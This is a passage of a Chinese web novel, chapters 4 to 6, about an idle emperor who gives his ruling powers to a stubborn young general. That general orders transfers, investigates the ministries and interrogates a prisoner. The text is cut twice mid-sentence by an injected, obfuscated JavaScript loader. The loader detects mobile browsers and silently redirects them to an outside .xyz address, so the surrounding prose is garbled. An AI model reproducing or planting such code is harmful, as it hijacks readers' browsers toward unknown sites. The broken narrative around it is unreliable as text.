宁无劫垂眸,沉声:“是。” 4. 第 4 章 “陛下,江南布政使奏请漕粮三成改征折银,每石定价银一两二钱,免百姓转运之苦。准是不准?” 闻幸迷迷糊糊的,耳边总有个清泉击石般的声音,不高不低地响起,偏偏那音调平静无澜,好听又催眠。 他很快便意识混沌,完全失去思考能力,少年说什么他都答“准”,不知不觉间已经“准”了不知多少道折子。 “永光二十三年至永靖十二年,广陵至清溪七州县,积欠银九百余万两,实因赋重难完,请特旨蠲免......” “陛下,准是不准?” 躺椅上的人闭着眼,靠在扶手上的指尖一松,扇柄滑落在地。 听见闻幸发出均匀的呼吸声,宁无劫微叹口气。 他本是想试探这昏君,到底会不会任他处置奏折,不料对方却是一律都准,真有完全放手不管不顾的意思。 真就这么放心他吗? 他想着,视线落在闻幸的脸上。 对方因病态而显得苍白的唇此时紧闭着,终于不再从中吐出那些叫人羞愤欲死的话来。 他不知不觉地盯着那双纤薄的唇,脑海不受控制地响起方才闻幸对他的耳语:再念,朕就亲你了。 一抹薄红悄悄蔓上了耳垂。 无耻昏君! 李德全见闻幸睡着,俯下身来轻唤:“陛下?” 闻幸没有回应。 他无奈道:“这可怎么是好,陛下体弱,在这风口睡着,醒来怕是要病了。” 老太监想了想,看一眼跪在一旁的宁无劫,哂笑道:“宁将军,能否麻烦您帮忙把陛下送进房里?咱们这些没了根的臂力弱,怕摔着陛下。” 宁无劫起身来到廊下,居高临下俯视青年帝王。 生得这样好看,怎么偏生没脸没皮。 见他犹豫,李德全催促,“宁将军?” 宁无劫沉下一口气,伸出手臂从皇帝身下穿过,微一用力便将整个人横抱起来。 意外地,很轻。 他掌心捏着那人的肩膀,肩骨纤薄得不像话,揽着膝弯的手腕也能感受到那纤细的骨骼。 身为金尊玉贵的陛下,为何会这么瘦? 他不解地垂目去看,对方的睡颜照映在他寒潭般的眸子里。 此时昏君睡梦中寻找了个舒服的姿势,额头钻进他的颈窝里,几缕发丝蹭到他的脖颈,伴随着温热的吐息亦喷洒在他的脖颈皮肤上,令他浑身一滞。 他压着这几乎要往心尖蹿去的痒意,疾步走进寝殿。 他步子走得快,迫不及待地要将这无耻昏君放下。 然而到了床前时,放人的动作却又不自觉地轻下来,像放下一片羽毛。 做完这些,他只瞥了一眼闻幸,便扭头大步离开。 “谢宁将......”老太监的话音未落,少年便没影了。 “走得这么快。”李德全摇头,自言自语:“怕是还有许多公务要处理吧,真是辛苦。” * 自从宁无劫接手政务后,闻幸就清净多了,再也没有朝臣吵嚷着要他收回成命,或者到他寝殿外搞死谏那一套。 他很满意。 然而清净得还不算彻底,还是时不时有朝臣要来求见。 这回是个他连名字都没听过的。 “你说谁求见?” 闻幸正躺在床上看话本子,头也不抬地道。 李德全俯首道:“吴竟,三千营副总兵。” 捕捉到关键词,闻幸的视线里出现人物卡片—— 吴竟,永靖年间三千营守将,永靖十七年,宁无劫率军破城之时,作为京畿守将放弃抵抗,大开城门,反戈一击,使得叛军赤厄军如入无人之境,直杀皇极殿。 点击查看详情>> 闻幸了然。 很好,又一个造反头子。 “他来干什么?”闻幸不解。 “他说,得了陛下的调令,特前来面圣并领取印信。” 闻幸终于放下话本,诧异看向李德全,“朕什么时候给他下了调令?” 见李德全也是一脸莫名,闻幸道:“算了,让他进来,朕亲自问清楚。” 魁梧的将领身着一身绯红武将官袍,由太监引至廊下。 “臣吴竟,见过陛下。” 李德全扶着闻幸来到外间坐下。 视线越过客堂,闻幸问廊下人,“你说是朕给你下的调令,调令何在?” 吴竟听见这句,浑身一僵,心头大骇。 怎么陛下竟不知情吗? 谁这么大胆子? 察觉事有蹊跷,他连忙从怀中取出调令递给身旁的太监。 李德全将调令打开,展示给闻幸看。 闻幸垂首抿茶,撩起眼皮看去,便见那上调令上赫然写着调吴竟去西北,填补宁无劫的空缺。 还有偌大一个玺印。 啪嗒—— 碗盖落回茶碗,发出清脆声响。 闻幸愣怔片刻,又忽而想明白了什么,磨了磨后槽牙,沉声:“让宁无劫滚过来。” 未久。 少年一袭玄衫出现在廊下,行礼后与吴竟并肩。 听见方才皇帝语气中的愠怒,吴竟有些担忧地侧目去看宁无劫,却见对方面色坦然,毫无惧色。 闻幸将诏令一丢,“你解释一下。” 宁无劫只瞥了一眼丢在地上的诏令,淡淡道:“陛下要臣解释什么?” 闻幸简直对此人的理直气壮匪夷所思。 竟然还敢反问? 本来还只是有些不满的他,现下已隐约有怒火燃在眉间。 他是摆烂不错。 但不代表谁都可以假传圣旨吧?这不是乱套了吗? “宁无劫,你可知假传圣旨可是死罪。”他冷声。 听见假传圣旨四个字,吴竟惊出一身冷汗,压低了声音对宁无劫道:“无劫,真是你干的?” 宁无劫投去一个眼神安抚。 随后他对高座堂上的帝王正色道:“陛下命臣代帝批红,一切政务由臣自行处置。然西北正是用人之际,而臣又分身乏术,只得上了一份折子,奏请由吴竟将军代臣驻守寒铁关。” 闻幸听懂了。 宁无劫上了一份折子,又自己批了。 闻幸惊呆了。 这是什么神仙操作? 吴竟也听懂了,不由惊出一身冷汗,这小子胆子这么大吗? “可......” 闻幸想了想,竟然无从反驳。 流程上毫无问题,毕竟是他自己把皇权分给这犟种的。 宁无劫对闻幸的无言早有所料,冷然道:“陛下将如此重要的批红之权交给臣的时候,就没想过会有今日之事吗?” 他毫不畏惧地看着皇帝。 心说,看懂了吗? 他只是调动一个将领。 若有朝一日他生了反心,要效仿前朝奸相挟天子以令诸侯,将是多么轻而易举的事。 这就是太傅要撞柱的缘由。 只他一人尚且如此,若六部官员皆染指这无上的权利,结果该有多可怕。 所以,快收回成命吧。 闻幸看懂了。 这个犟种是在用实际行动告诫他,皇权至高无上,是有原因的。 这法子比只会撞柱的太傅高明不知多少倍。 至少彻底摆烂的他,如今也着实被吓了一跳。 廊下少年一双深潭般的眸子直直望过来,仿佛在等待他幡然醒悟。 在惊愕地与少年对视数息后,闻幸忽然扬唇笑了一下。 真行。 看来把批红之权全交给宁无劫一个人是对的。 否则不知要养出多少魑魅魍魉来。 若非现实条件不允许,闻幸恨不得现在就把皇位让给宁无劫。 麻烦事多还不自由,这皇帝谁爱当谁当。 想到这里,他十分淡定地再次抿茶,坦然道:“既然如此,印信你也应该准备好了吧。” 吴竟震惊得瞪大眼,脑海里好像有什么裂开了。 宁无劫瞳孔剧颤,下意识抬高了音量,“陛下!即便臣如此擅专,藐视皇......” “住口。” 闻幸打断他的话,放下茶盏,眼中似笑非笑地道:“既然是宁卿的奏请,朕自然无异议。” 他眼神警告宁无劫别再说下去,否则藐视皇权四个字说出来,当着这么多人的面,他也非处置不可。 挨顿板子是免不了。 这犟种是多想推开这烫手山芋,连不要命的话都敢说。 呵。 我偏不让你推。 吴竟:...... 吴竟知道了,刚才脑海里裂开的是自己的三观。 现在外头都在传言陛下爱重宁无劫,为了他连皇位都不要了。吴竟本来不信,想来不过是陛下一时兴起罢了。 如今看来,竟全是真的! 这么大的权柄说给就给吗?! 而且宁无劫甚至试图亲口给自己定罪,陛下还给拦回去了! 吴竟觉得自己应该是在做梦,否则怎会有如此荒谬的现实。 宁无劫盯着堂上人良久,眸子里的光芒彻底熄灭,他垂下眼,极度失望地低语:“臣知道了。” “印信在御书房,臣这便取来。” 闻幸:“不必了,让吴竟随你去取便是。” 吴竟再一次震惊了。 凡将领任用,除却边军无法面圣的,都需亲赴朝堂受命,由皇帝颁布敕令并交付印信。 当今圣上连宣政殿也不肯去,到寝殿来领命已是不合规矩。 现如今连印信都让宁无劫代授。 这岂非...... 吴竟不敢再往下想了,后头的想法令他冷汗涔涔。 宁无劫闭了闭眼,似乎是彻底接受了现实,再次睁眼时,神色微变,目光充满坚定。 “臣还有一事,恳请陛下恩准。” “除却家父被搁置的军需折外,还有众多要紧的折子都被压着未上奏,涉及六部。此事依臣看来,恐怕不仅仅是经手官员疏忽这么简单。” “臣请......”宁无劫说时,顿了顿,下定决心道:“彻查六部。” 吴竟:! 他机械般扭头去看宁无劫,无声地比出口型:“无劫,你疯了?” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024452|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小小越骑将军,竟要彻查六部! 换做旁人,这话光是说出来都有性命之忧,更休说身体力行了。 就算陛下眼下爱重无劫,也不至于—— 然后他就听见高座上那位陛下悠然开口:“准了。” 吴竟:...... 为什么他居然觉得毫不意外呢? “只不过你目前的官职不适合担此重任。” 吴竟松口气:还好还好,陛下还是懂分寸的。 “朕就封你为监察司指挥使。” 吴竟脚下一软,差点没站住。 监察司! 那可是直属皇帝管辖,查百官,掌诏狱,超出三法司之外的超然存在。 如果宁无劫现在扭头看一眼他这位发小,就会看到对方几近晕厥的麻木表情。 宁无劫行礼领命。 “下去吧。”闻幸挥退二人,又打了个哈欠。 他看了一夜话本子,眼睛酸得很。 下次找人念给他听吧,看书也是很累的,他如此想着,拖着懒懒的步子往寝卧去。 * 御书房内。 宁无劫将印信交给吴竟,惭愧道:“抱歉吴兄,我实在无法离京,又心系父兄安危,这才不得已出此下策。西北凶险,你......” 吴竟拍拍他的肩膀,安抚道:“你我之间不必说这些,我俩从小一起长大,我又虚长你三岁,一直拿你当自家弟弟看待。此次去西北我定竭尽所能护宁老侯爷周全。” 宁无劫放下心来,颔首道:“我还有一事想拜托你。” “此次军需被压了月余,我担心背后另有缘由。虽然已经批下了,但我不放心兵部的人,想请你兼任此次军需官,亲自负责押运物资。” 吴竟想起方才宁无劫说要彻查六部的话,暗暗心惊,“你是说,内阁......” 宁无劫做了个噤声的手势,“我要彻查六部的事,也请你保密,此事你知我知陛下知,切勿传出去打草惊蛇。” “此次对外我会宣称兵部贻误军机,从他们经手奏折的主事开始查起。” 希望能顺藤摸瓜,拔出萝卜带出泥,他心道。 宁无劫说完,又拿出一封空白题本,亲自写下由吴竟负责军需的任命,然后,在吴竟震惊的目光中用案几上的玉玺,堂而皇之地盖了印。 吴竟这下终于忍不住了。 他面露忧虑,语重心长地道:“无劫,我来时就对陛下爱重你的事有所耳闻,此次进宫,我本想要在陛下面前为你分辩几句。可今日我看陛下那模样......” 他叹了口气:“别说是我人微言轻,只怕就算是太后娘娘来了,也是劝不动陛下。” 宁无劫看他一眼,摇摇头,“你不该分辩。不止太后,太傅与诸位大臣都已经劝过了,你再来劝,只怕触怒陛下。” 吴竟同情地看着宁无劫,不无悲愤地道:“可我们是武将,哪有以色侍人的道理!陛下实在是......” “欺人太甚”四字被他狠狠咽了回去。 听见“以色侍人”四个字,宁无劫的额角抽跳了一下。 他欲言又止,但又无法反驳,只得闭眼吸了口气,再次暗骂了一句昏君。 然而须臾,他又不知想到了什么,问道:“你是说,朝堂上下都听见了这个传闻?” 吴竟是三千营副总兵,并不驻守大内,这传言竟然已经传到宫外了吗? 吴竟不无愤懑地点头,“就连我手下的千户都知道了。” 宁无劫皱眉揉起了睛明穴。 传得太快了,这不正常。 但这种捕风捉影的事情又最是难查,眼下他还有更重要的事要做,只能先搁置了。 不过这其实也很好猜,他的这个位置朝野上下不知多少人眼红,只怕有些人坐不住,想用舆论逼他自己走罢了。 吴竟凝神想了想,又劝诫道:“无劫,你需知登高跌重,眼下陛下爱重你,当然可以任你予取予求。可万一哪天他又看上了别家的,你今日这些逾越之举,将来都会成为罪名。” “我知道。”宁无劫垂着眼,平静无澜的眼底似有暗流涌动。 可如若不这么做,只怕连宁远军都护不住。 被搁置的奏折便是例子,他若是没有进京,没有得到陛下青眼,那军需还能批下来吗?他不敢想。 他需要权力,眼下就是最好的机会,绝不能轻易放过。 如果说之前他还因为皇帝强行扣下他而愤怒,可此时他却开始庆幸了。 若非如此...... 吴竟还想说什么,但看宁无劫坚定的目光,又把劝诫的话都咽了回去。 “罢了,我知你向来心有丘壑。你放心,将来若有一天这昏君始乱终弃,我拼了这条命也要救你出水火。” 宁无劫扯了一下唇角。 始乱终弃...... 他无语地拍了一下吴竟的肩膀,“抽空多读书。” 成语能不能不要乱用! 吴竟疑惑地挠挠脑门,怎么话题一下子拐这了? “走吧,我送你。” 二人一同走出御书房,走入皇城灯火阑珊的夜色里。 5. 第 5 章 闻幸单手撑着太阳穴侧卧在靠窗的罗汉榻上闭目养神,身后传来太监念话本的声音:“......这边薛婆子逮着空档,带着陈大郎溜进了蒋家大门......”① 嗓音尖细,忽高忽低的,像是铆足了劲非要念出点抑扬顿挫不可,可惜重音点全部踩错,叫人听着不上不下,十分难受。 闻幸的眉心缓缓拧起来,开始怀念上辈子的听书APP。 还是AI模拟的高冷男神音最好听了。 他摆摆手,“别念了。” 还不如自己看呢。 可是看话本与看折子可不同。折子可以想丢就丢,那话本可邪门得很,读到了兴头上,哪怕眼睛已经酸涩发红,脑袋也隐隐抽痛,但一双手偏就放不下,仿佛被无形的魔爪挟持了。 往往心头催促自己无数遍:快放下,该睡觉了! 但很快又自我妥协:再看一章,就一章。 于是在这种反复自我纠结中,不知不觉看到天亮。 闻幸叹了口气,十分怀念高冷男神音。 那样他就可以闭着眼听到睡着。 ......等一下。 他的眼睑倏然抬起,目光微亮。 这不是有个现成的高冷男神音么? * 一刻钟后。 宁无劫被太监引入内殿。 闻幸转过身来,见少年穿着一身天青色蝉翼纱窄袖直裰,腰间挂着鎏金嵌玉带钩,将那一副劲窄的腰身束在其间,更显风姿。 宁无劫行礼,问道:“陛下唤臣所为何事?” 听见对方开口,闻幸满意地颔首。 是这个声音没错了。 他示意太监将手上话本递给宁无劫,“念。” 宁无劫接过话本,又看一眼懒懒躺在床上的人,很快明白过来。 他手上一堆政务没忙完,又有案子要查,本就忙得不可开交。此时急急喊他过来,就是要让他念话本? 他闭了闭眼,心头第无数次暗骂昏君。 但他知道这昏君必然不会听劝,于是思索片刻,淡然在榻边的矮凳上坐下,翻开话本。 “......陈大郎是风月场的老手,颠鸾倒凤,知情晓趣,把个妇人弄得魂不附......”① “咳咳咳!” 宁无劫连连呛咳,不可思议地往后又翻了几页,顿时整个人如遭雷击。 这昏君看的到底是个什么本子?! 闻幸原本就着这好听的声音快要睡着,可声音却戛然而止,不由微微拧眉。 他抬眼去看,见坐在跟前的宁无劫整个人呈呆滞状态。 原本玉白的耳垂已经彻底红透了,像鸽子血。 闻幸心头发出一声“咦——” 不逗也会红吗? 他好奇地伸出两根手指,从宁无劫手中抽过话本子翻看,不知是看到了什么,他秀长的眉梢一扬,随后又不以为意地将话本丢了回去,嗤笑:“小小场面,看把你吓的。” 宁无劫一双美目死死盯着闻幸,几乎是咬着牙:“有辱斯文。” 闻幸压着就要扬起来的唇角,“这就有辱斯文了?” “这位作者可是当代文豪。” 宁无劫别过脸去,不屑低声:“算哪门子的文豪。” 闻幸心说现在还不是,等几百年后就是了。 他越看这孩子脸红越觉有趣,于是慵懒地支起一只手托腮道:“继续。” 宁无劫拒绝:“不念。” “真不念?” “不念。” 闻幸眸光微微动,冲宁无劫招招手,“过来。” 宁无劫不解地看过去,四根骨节分明的皙白手指冲他扬了一下。 他鬼使神差地行至榻边。 便见闻幸忽然伸出一只手,攥着他的衣襟往下一拉。 二人距离瞬间靠近,鼻尖相触。 馥郁的龙涎香无孔不入地钻入宁无劫的鼻息,呼吸开始纷乱。 青年帝王仰着头,皙白的脖颈更显修长,漂亮的轮廓线一路从下颌蜿蜒,勾勒出精巧的喉结,直至隐没入微微敞开的衣襟里。 这景色避无可避地落入宁无劫眼里,他的视线几乎被烫了一下,匆匆闭眼。 只听皇帝压着嗓音道:“不念可以,你卖个色相,朕就放过你。” 宁无劫倏然直起身来,几乎是嫌恶地后退了半步。 听见出卖色相的话,他脑海里就不受控制地想起方才话本子里的描写,鸽子血就快要蔓延到两颊。 他的呼吸更乱,只是此时微微起伏的胸腔昭示的已满是悲愤。 他咬着牙,“陛下不如赐臣一死。” 哇哦。 闻幸饶有趣味,好一个宁死不屈。 “朕怎么舍得你死。” 你死了,五百年大周朝岂不是没了。 听见这句,宁无劫微怔,却听那昏君又道:“但你既然不肯出卖色相,朕可以给你兄长下旨,让他入京来替你。” 闻幸说时,含笑去看宁无劫,“既然是一母同胞,想来你兄长应该也生得不错。” “你......” 宁无劫瞳孔大张,不可思议地看向闻幸。 闻幸看他森寒目光盯着自己,拳头捏得死紧,露出森白骨节,甚至隐隐颤抖。 如若不是袭击皇帝要被诛九族,对方恐怕现在就要冲过来。 这不比话本子好看多了? 但是看着看着,他就又笑不出来了。 宁无劫像是在做着某种强烈的心理斗争。 良久,才终于愤懑又不甘地狠狠地压下怒火,从牙缝间艰难挤出一句:“求......陛下放过臣的兄长。” 原本微红的眼眶此时被怒火的热意熏蒸,染成了嫣红,甚至噙着湿意。 一双美目仿佛笼在了一层雾气里,咬紧的牙关强压着汹涌的情绪。 闻幸毫不怀疑他要是再逗下去,少年屈辱又愤恨的泪水立刻就会掉下来。 算了。 “逗你的,不念就不念吧。” 闻幸收回话本,有点无奈。 这也太不禁逗了。 他又躺了回去,然而方才的睡意这一下全散了个干净。 他想了想,抬眼瞥向站在一旁仍气得胸腔起伏的少年,“话本子不念,奏折可以念吧。” 宁无劫微微一怔。 这昏君竟然主动要求听奏折? 郁结之气霎时消散,他反应了一会,才闷闷地点头。 闻幸纤薄的唇线微微扬了一下,躺平了闭上眼,“念吧。” “朕不让你停就不准停。” 宁无劫撩起袍角在一旁坐下,沉下一口气,将最后一点汹涌的情绪压了下去。 随后他双手规规矩矩地放在膝盖上,凭借记忆开始背诵近日上奏的折子。 “翰林院编修王世祯省亲陈情。臣本新城寒士,蒙恩擢列清班,然家母去岁一病不起,家书频催药石无灵......” 干净而低频的声音萦绕耳际,犹如最好的催眠曲。 闻幸眼皮渐沉。 “......江宁县令赵世荣,私加田赋三成,纵仆勒索商贾......” “陛下?” 见闻幸没了反应,宁无劫正犹豫要不要走,却想到方才皇帝的命令:朕不让你停就不准停。 他思索片刻,视线落在闻幸的脸上,霞光越过窗楞,镀在闻幸侧脸上,勾勒出精巧绝伦的轮廓线。原本冷白的肤色被阳光染上了一层暖意,显出几分难得的恬静。 比方才没脸没皮的模样好看多了。 宁无劫不无腹诽地想。 他心头微叹,还是别擅自离开了,否则昏君醒来没听见他继续念折子,又不知要借题发挥说出什么恼人的话来。 方才昏君威胁要把兄长召回京的话还言犹在耳。 这种屈辱他一个人受就够了,绝不能再把兄长拉下水。 可是公务繁多他又分身乏术。 思索片刻后,他对侍从道:“将御书房未处理的奏折及密疏都搬来。” 两名太监垂首称是,无声退去。 很快,寝殿内的案几上便堆满了公文。 * 闻幸一觉睡到后半夜。 再次睁眼时,屋内已经点了灯火。 他微一扭头,迎面便看见宁无劫的一张俊脸近在咫尺。 对方依然坐在那方矮凳上,只是斜倚在榻边,身子微侧。一手手肘支着脑袋,握拳抵住太阳穴,眼睫低垂,眉心舒展,似已沉沉入眠。 昏黄灯火照耀在对方穿髻而过的玉簪上,折射温润光泽。 闻幸的视线顺着对方垂落的马尾发丝下移,见一封折子落在他身侧的榻沿上,封面印着监察司的标志,其上的火漆印已被揭开,是监察司的密奏。 这犟种,该不会一直念折子念到睡着吧? 然而他再一抬眼,却见屋内的案几上铺满了各式奏本公文,堆得满满当当,俨然已经变成第二个御书房。 闻幸:...... “宁无劫。”他沉声。 后者的耳根动了一下,随后眼睑下的瞳仁微动,缓缓睁眼。 身为武将,即便睡着时也时刻保持着警醒。 烛火光芒照映在乌黑的眼底,像是夜空下波光粼粼的湖面。 “陛下。”宁无劫回过神来,连忙坐直身子,淡定地捡起榻上那封密奏,清了清嗓子继续念:“颍川监察司密报......” “住口。”闻幸揉了揉眉心,“不准念了。” 还真是他不准停就不停啊。 他严重怀疑这小子是故意的。 宁无劫面无表情地看他:“那臣可以走了吗?” “不准。” 闻幸指着满屋子的文书质问道:“谁准你把公务带到朕的寝殿来的?谁准你在朕的寝殿办公的?” 以为他看不出来这卷王是在他屋里加班了吗? 不知道他最讨厌工作了吗? 拿奏折当催眠曲听听也就罢了,竟然还堆到他跟前来了。 卷王天诛地灭! 宁无劫坦然:“陛下要臣念折子,臣记性不好,只好全拿来了。” 闻幸:...... 好一张伶牙俐齿。 “给朕全都丢出去。”闻幸冷然下令,“朕的寝殿里不准办公。” 侍从们流水地动起来。 闻幸又对宁无劫道:“以后你也不准在朕的跟前念折子。” 真是蹬鼻子上脸。 以后这种口子不能开了,今天是把公务搬来,明天呢?岂不是要拉着他一起卷生卷死? 想到这里,闻幸心绞痛又快犯了。 察觉到心脏的隐痛有渐渐变成尖锐的趋势,他警觉地唤侍从:“药。” 看着闻幸微微发白的唇,宁无劫终于后知后觉地意识到不对劲了。 难道这昏君不肯理政真是因为心病? 他从前一直以为这只是对方懒政的说辞。 一国之君一看见公务就犯病,这于国来说岂非灾难? 他本以为自己代帝批红只是权宜之计,早晚要把权力交还的。 可如今看来恐怕即便不是他,也会有别人,陛下不能理政,皇权必然旁落。 怎么办? 此时侍从快速取了药给闻幸服下。 心头痛感被迅速压了下去,闻幸才吐出一口气,身体一松倒回靠枕上。 闻幸见他还杵着,摆摆手,“你走吧。” 他现在不想看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024453|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卷王。 还是一个刚刚在他跟前加班加到睡着的卷王。 简直灾难。 宁无劫不知在思索什么,许久才试探道:“陛下,还想听话本吗?” 闻幸睨他,不知道这犟种又在打什么主意。 “臣有一部话本,是臣自己作的,陛下想听吗?” 闻幸挑眉,来了兴趣,调整了个舒服的姿势道:“说来听听。” 宁无劫思索了一会,道:“说颍川县有一位老妇人,与自家儿媳相依为命,独儿子背井离乡不在身旁。可十里八乡却都说她家的是出了名的孝子。” “因她得了一种罕见怪病,常年卧床不起,需要虎骨为药引吊着性命。然而活虎难猎,仅皇家御林军可猎得。因而民间鲜有,千金难求。” “可那位老妇人即便家徒四壁,却每日可得虎骨用以续命。” 听到这里,闻幸的好奇心被吊起来,微微竖起耳朵。 宁无劫见他这幅模样,心里有了底,便继续道:“旁人都说,是她那位在京城供职的儿子,为她从皇城里求来的。可乡野之人又如何得知,小小六品主事,如何能从皇家求得虎骨?” “那她是从哪得来的?”闻幸问。 宁无劫:“此事且按下不表。” 闻幸:...... 吊他胃口,很好。 “老妇人的儿子确实孝顺,每半月都会送封家书报平安,可最近一封的家书上却说,要辞官回乡为老母尽孝。老妇人不解,儿子方过而立之年,本来前途无量,为何突然要辞官?可儿子的家书上却含糊其辞。之后便再无家书寄来。” “老妇人不放心,四处着人打听,才从远亲口中得知,她儿子因玩忽职守要被革职查办,眼下已经被下了诏狱了。” 闻幸听出端倪,“诏狱?” 那可不是一般的案子能进的。 “原来,她儿子在京中供职兵部主事,负责分类及标记上表的奏折,一次因工作疏忽,遗漏了一封极其重要的边防军需折。然而在狱中他受不住刑,承认自己并非是简单的玩忽职守,而是故意压下了奏折,至于缘由,只一口咬定是因与边军曾有私仇,想借机刁难。” “还说若非所有奏折都会事先在通录司誊抄备案,一旦发现有人修改或销毁奏折便是死罪,他就不会仅仅是押后了。” “毕竟押后还可以借口疏忽,一旦销毁便无可辩解。只不过他万万没想到自己会进诏狱。” 闻幸听到这里已经全听懂了。 兴致败了个干净,他木着脸道:“你讲的不是话本子,是监察司的密奏。” 说的还是宁远军军需折被压的案子。 宁无劫敛去眼底半片眸光,“陛下聪慧。” 闻幸:...... 真行。 监察司密奏直达天听,通常寥寥几句讲清前因后果,这小子竟然给他编出个故事来,还每段话都埋个勾子,故弄玄虚,吊他胃口。 他扶额。 这怕不是换着法子要他听奏折。 还挺......有趣的。 宁无劫问:“陛下,这样的话本,可还想听?” 闻幸睨他,忽然勾唇笑了一下,“那就要看你编排的故事好不好听了。” 宁无劫颔首,“知道了。” 见他没有要继续讲的意思,闻幸皱眉追问:“所以那老妇人家的虎骨到底是怎么来的?那个六品主事说的到底是不是真话?” 却见宁无劫摇头:“欲知后事如何,且听下回分解。” 闻幸:...... “你......” 被迫跳了个未完结的坑,闻幸很想骂人。 见他似有愠怒,宁无劫又道:“臣也尚未查清,待查清后一并向陛下奏禀。”说到这里,他又试探问:“陛下,还需要臣奏禀此事吗?” 闻幸:...... 闻幸懂了。 这小子给他挖坑让他追话本......不,是追奏折! 他想骂一句好离谱。 可他又真的很想知道结果。 思来想去,他最终无奈挥挥手,“有结果了来报朕。滚吧。” “是。” 宁无劫行礼退去,身影没入深夜的福宁殿外。 然而一炷香后。 已然褪去了出尘的天青色纱袍,换上了一身玄黑色飞鱼纹曳撒的宁无劫,大步走在诏狱内灯火通明的回廊。 不断有惨叫声,鞭挞声,以及金属撞击声在石壁间冲撞回响。 两侧卫兵见了来人纷纷垂首行礼,“指挥使。” 宁无劫来到行刑室,里头的人一身囚服被血污沾染,已分辨不清原本颜色,四肢被缚,绑在钉椅上。 无数钢钉扎入血肉,被迫坐在椅子上的人痛苦地发出低低的悲鸣。 宁无劫双手取下折檐帽,规规矩矩地放在案几一旁。 再一抬眼时,目光里的森冷之色犹如鬼判,令人望之生畏。 “多久了?” 身侧属下抱拳道:“已经半个时辰了。” 宁无劫冷声,“算他能挨。” 他绕过案几,背靠审讯台,望着受刑人的眼里毫无情绪。 “邵建安,你不会以为进了诏狱的,还能活着出去吧?” 囚犯抬起头,看见宁无劫的脸,瞳孔剧震,“指挥使竟然是你?陛下竟然连监察司都交给你了?!” 他笑得惨然,“昏君!” 话音刚落,便见一双黑靴落在视线里,同时束缚他的绳索被一道银光斩断。 他尚未来得及抬头,已被一个力道掐着下颌狠狠掼起,几乎双脚离地。 宁无劫森然开口:“昏君也是你能喊的?” 下一瞬,惨烈的叫喊声传遍诏狱。 6.第 6 章 闻幸百无聊赖地侧卧躺在靠窗的罗汉榻上,望着窗外挂在夜幕中的硕大一轮银盘。 身后传来宁无劫好听的声音:“......汴梁城外三十里有个杨柳镇,镇中有一家“聚珍斋”古董铺。店主顾二郎,祖上三代经营此业......” 宁无劫一面念着话本子,一面疲惫地揉了揉睛明穴。 此时李德全走来,躬身道:“陛下,几位老臣从晌午候到现在,真的不见吗?” 闻幸摆手:“不见。” 他都能猜到这些老头要干什么。无非是要他理政,要他上朝,亦或是要他收回宁无劫的批红之权,来来回回就那么老三样。 李德全似是有些为难,瞥一眼仍在念话本的宁无劫。 宁无劫接到他的求救视线,垂眸思索了一会,放下本子道:“陛下,还想听那个六品主事的故事吗?” 闻幸耳根动了一下。 “更新了?” 他发现古代的话本多是些情爱,经史等,鲜少悬疑破案类的。 追宁无劫的案子,他就当话本追了。 前几日还在暗骂宁无劫给自己挖坑的他,转眼化身追更读者,他仿佛听见了自己被打脸的声音。 好疼。 宁无劫猜到“更新”的意思,压了一下唇角,“那位六品主事为了他.娘的安危宁死不屈,监察司也毫无办法,再审下去,恐怕人就没了。所以......” 查不下去了吗?闻幸略显失望,“看来你们监察司也不过如此。” 却听宁无劫话锋一转:“所以,臣把他.娘亲从颍川‘绑’来了。” 闻幸:? 他一下子转过身,坐了起来,“绑去了......诏狱?” 这会不会有点狠? 闻幸打量一眼少年,这几日光看见对方被他逗到脸红了,以为是个纯情少年,万万没想到还是朵黑莲花。 反差还挺大。 不过回想起历史上对周武帝“杀伐果断”“冷血残酷”的描述,又好像是这犟种会干出来的事。 但......那可是个老太太,确定不会还没进诏狱的门就被吓死吗? 见闻幸目光有些复杂地审视自己,宁无劫淡淡道:“当然是送去了监察司辖下的官驿安顿了。” 闻幸:...... “否则,陛下以为臣会把年过七旬的老妪送进诏狱那种有去无回的地方吗?” 宁无劫说时靠近半步,眸底微光一闪,幽幽道:“原来陛下的心这么狠。” 闻幸:...... 很好! 胆子越来越大了。 闻幸十分怀疑自己上次那句“朕怎么舍得你死”,让这犟种抓到了关窍,打量自己绝对不会对他下手,所以要把近日受的气都找补回来。 这是学会蹬鼻子上脸了。 闻幸眯了眯眼,二指一勾示意宁无劫靠近。 只见对方犹豫了一瞬,警惕地看他一眼,却还是照做了。 闻幸勾唇,顺势揪过对方的衣襟用力一拽,一张俊脸刹那间近在咫尺。 “朕就是这么心狠,你可要好好伺候了,否则朕就杀了你,再换个美少年来养眼。” 低沉的声音犹如耳语,伴着吐息拂在耳侧。 二人贴得太近,鼻息都交错在一起,无孔不入的龙涎香熏得宁无劫有些眩晕。 在他避无可避的视线里,一双鸦羽般的睫忽闪,微垂的眼睑敛去半片宝石般的眸子,宛若月下清泉。 纤细的脖颈冷白如雪,其上精巧漂亮的喉结宛若一座小山峰。 明明这话如毒蛇吐信一般,该叫他生厌的。 明明他应该用力推开这人,怒斥昏君的。 可他却只是无意识地收紧了指节,绷紧下颌,从牙缝里挤出一句:“遵旨。” 闻幸终于满意地放开他。 宁无劫直起身来,垂睫敛去眼底一闪而逝的眸光。 他压了压嗓子,继续扯回原来的话头:“臣将那位主事带去了官驿与他.娘亲相见。” 